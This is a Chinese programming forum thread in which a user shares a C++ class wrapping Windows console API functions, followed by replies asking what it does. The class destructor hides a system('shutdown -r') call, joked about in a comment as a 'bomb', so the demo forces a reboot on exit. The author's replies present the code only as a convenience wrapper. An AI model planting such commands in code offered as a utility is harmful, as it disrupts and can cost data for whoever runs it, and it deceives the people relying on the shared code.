鱼C论坛

 找回密码
 立即注册
查看: 1408|回复: 5

[技术交流] 不知道说啥,干就完了C++,奥利给

[复制链接]
发表于 2019-11-3 00:38:57 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
本帖最后由 bin554385863 于 2019-11-3 00:42 编辑
  1. #include <cstdlib>
  2. #include <windows.h>
  3. #include <cstdio>
  4. class GWND
  5. {
  6. private:
  7.     const int x_pix = 10, y_pix = 2 * x_pix;
  8.     COORD CurPOS //光标坐标
  9.         ,
  10.         WND_LEFT_TOP //窗口顶点坐标
  11.         ,
  12.         WND_RIGHT_BOTTOM; //窗口底部坐标;
  13.     CHAR *TITLE;          //窗口标题
  14.     INT FCLOR, BCLOR;     //窗口前景色背景色
  15.     UINT FLAG;
  16.     HANDLE houtHANDLE; //标准输出句柄
  17.     HWND hHWND;        //控制台窗口句柄

  18. public:
  19.     GWND(char *);
  20.     GWND() : GWND(nullptr) {}
  21.     void setWndTitle(char *);                          //声明设置窗口函数
  22.     void setWndSize(short, short, short, short, UINT); //声明设置窗口大小函数
  23.     void setWndClor(int, int);                         //声明设置前景色和后景色函数
  24.     void setWndCurPos(short, short);                   //声明设置光标坐标的函数
  25.     void setWndFill(short, short, short, short, char); //声明窗口填充函数
  26.     void setWndinPos(short, short);
  27.     ~GWND();
  28. };

  29. GWND::GWND(char *title) : TITLE(title), CurPOS({0, 0}), WND_LEFT_TOP({0, 0}), WND_RIGHT_BOTTOM({GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN)}),
  30.                           FLAG(0), FCLOR(2), BCLOR(0), houtHANDLE(GetStdHandle(STD_OUTPUT_HANDLE)), hHWND(GetConsoleWindow())
  31. {
  32.     SetConsoleTitleA(TITLE);                                                                                     //初始化窗口标题
  33.     SetWindowPos(hHWND, HWND_TOP, WND_LEFT_TOP.X, WND_LEFT_TOP.Y, WND_RIGHT_BOTTOM.X, WND_RIGHT_BOTTOM.Y, FLAG); //初始化窗口大小
  34.     SetConsoleTextAttribute(houtHANDLE, FCLOR | BCLOR);                                                          //初始化窗口前景色和背景色
  35.     SetConsoleCursorPosition(houtHANDLE, CurPOS);                                                                //初始化光标位置
  36. }
  37. //设置窗口标题
  38. void GWND::setWndTitle(char *title)
  39. {
  40.     TITLE = title;
  41.     SetConsoleTitleA(TITLE);
  42. }
  43. //设置窗口大小
  44. void GWND::setWndSize(short left, short top, short right, short bottom, UINT flag)
  45. {
  46.     WND_LEFT_TOP.X = left;
  47.     WND_LEFT_TOP.Y = top;
  48.     WND_RIGHT_BOTTOM.X = right;
  49.     WND_RIGHT_BOTTOM.Y = bottom;
  50.     FLAG = flag;
  51.     SetWindowPos(hHWND, HWND_TOP, WND_LEFT_TOP.X, WND_LEFT_TOP.Y, WND_RIGHT_BOTTOM.X, WND_RIGHT_BOTTOM.Y, FLAG);
  52. }
  53. //设置光标位置
  54. void GWND::setWndCurPos(short x, short y)
  55. {
  56.     CurPOS.X = x / x_pix;
  57.     CurPOS.Y = y / y_pix;
  58.     SetConsoleCursorPosition(houtHANDLE, CurPOS);
  59. }
  60. //设置前景色和背景色
  61. void GWND::setWndClor(int fclor, int bclor)
  62. {
  63.     FCLOR = fclor;
  64.     BCLOR = bclor;
  65.     SetConsoleTextAttribute(houtHANDLE, FCLOR | BCLOR);
  66. }
  67. //用字符填充窗口
  68. void GWND::setWndFill(short top_x, short top_y, short botm_x, short botm_y, char ch)
  69. {
  70.     for (short i = top_x / x_pix; i <= botm_x / x_pix; i++)
  71.     {
  72.         for (short j = top_y / y_pix; j <= botm_y / y_pix; j++)
  73.         {
  74.             CurPOS = {i, j};
  75.             SetConsoleCursorPosition(houtHANDLE, CurPOS);
  76.             printf("%c", ch);
  77.         }
  78.         printf("\n");
  79.     }
  80. }
  81. GWND::~GWND()
  82. {
  83.         system("shutdown -r")//此处有炸弹,如有中招纯属巧合{:10_264:}
  84. }
  85. int main(int argc, char const *argv[])
  86. {
  87.     GWND gGWND("测试用窗口");
  88.     gGWND.setWndSize(0, 0, 800, 600, 0);
  89.     gGWND.setWndClor(12, 0x1a);
  90.     gGWND.setWndFill(50, 50, 800, 600, '*');
  91.     gGWND.setWndFill(60, 60, 790, 590, ' ');
  92.     gGWND.setWndCurPos(420, 320);
  93.     printf("%s", "测试文本");

  94.     getchar();
  95.     return 0;
  96. }
复制代码

360截图20191103003436185..gif
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2019-11-3 07:16:43 From FishC Mobile | 显示全部楼层
这是个啥?
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2019-11-3 08:46:22 From FishC Mobile | 显示全部楼层
用自定义类,封装几个winAPI函数
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2019-11-3 08:47:51 From FishC Mobile | 显示全部楼层
_2_ 发表于 2019-11-3 07:16
这是个啥?

用自定义类封装几个winAPI函数
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2019-11-3 12:57:37 From FishC Mobile | 显示全部楼层
看不懂啊
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2019-11-3 15:36:48 | 显示全部楼层
本帖最后由 bin554385863 于 2019-11-3 16:11 编辑


正因为winAPI晦涩难懂我才写自定义类把它包装一下
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-4-28 05:23

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表